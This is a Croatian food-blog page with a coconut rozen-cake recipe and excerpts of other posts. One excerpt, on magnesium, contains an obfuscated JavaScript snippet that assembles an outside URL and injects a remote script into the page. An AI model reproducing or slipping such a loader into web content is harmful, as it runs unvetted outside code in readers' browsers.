ROZEN PITA S KOKOSOM




Rozen pita s kokosom 



Za ovu pitu možemo koristiti istu kremu koju koristite za Bijelu pitu. Tu su i manje izmjene poput prilagodba količine mlijeka i naravno, neizbježni ljetni dodatak kokos.




Rozen pita s kokosom 


Sastojci:

  • 1 l mlijeka
  • 120 gr šećera
  • 3 pudinga od vanilije
  • 80 gr kokosa
  • 20 dkg bijele čokolade
  • 20 dkg maslaca
  • 2 dl vrhnja za šlag
  • šlag pjena
  • 125 ml mlijeka za šlag pjenu
  • malo kokosa za posuti pitu
  • gotove rozen kore



Priprema:

  • U 2 dl mlijeka razmutiti 3 pudinga od vanilije i šećer. Ostalih 8 dl mlijeka staviti na vatru da zakuha. Kada je mlijeko zakuhalo maknuti ga s vatre i miješajući lagano ulijevati razmućeni puding. (Mlijeko smo maknuli s vatre kako bismo spriječili nastanak grudica.)
  • Vratiti puding na vatru srednje jačine i miješati cijelo vrijeme da se lijepo zgusne. Maknuti s vatre. U vrući puding dodati razlomljenu čokoladu i miješati dok se ne otopi. Kada se čokolada otopila, dodati kokosi promiješati.
  • Pokriti kremu prianjajućom folijom (da nam se ne stvori korica na vrhu). Ohladiti puding.
  • Maslac SOBNE temperature izraditi mikserom. Ohlađeni puding dobro izmiksati pa u njega miksajući dodavati žlicu po žlicu maslaca. U smjesu uliti 2 dl vrhnja za šlag i miksati nekoliko minuta.
  • Gotovom kremom premazati sve kore, osim zadnje.
  • Kada mažete kremu na kore, pripazite da što preciznije stavite svaku novu koru. Svaku novu koru (prije premazivanja) dlanom poravnajte i blago pritisnite.
  • Ako vam ostane kreme, premažite bočne stranice i popunite šupljine.
  • U početku će kore biti tvrde, stajanjem će upiti vlagu iz kreme i omekšati.
  • Na zadnju koru (onu koju nismo premazali kremom) staviti komad pek papira i preko njega nešto teško (2 tetrapaka mlijeka ili dasku za rezanje mesa i sl.) kako bi se kore sljubile s kremom. Ostaviti u hladnjaku da tako prenoće.
  • Umutiti šlag pjenu prema uputama. Maknuti pek papir i “težinu” s kore.
  • Namazati šlag na zadnju koru i posuti kokosom. Vratiti u hladnjak.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više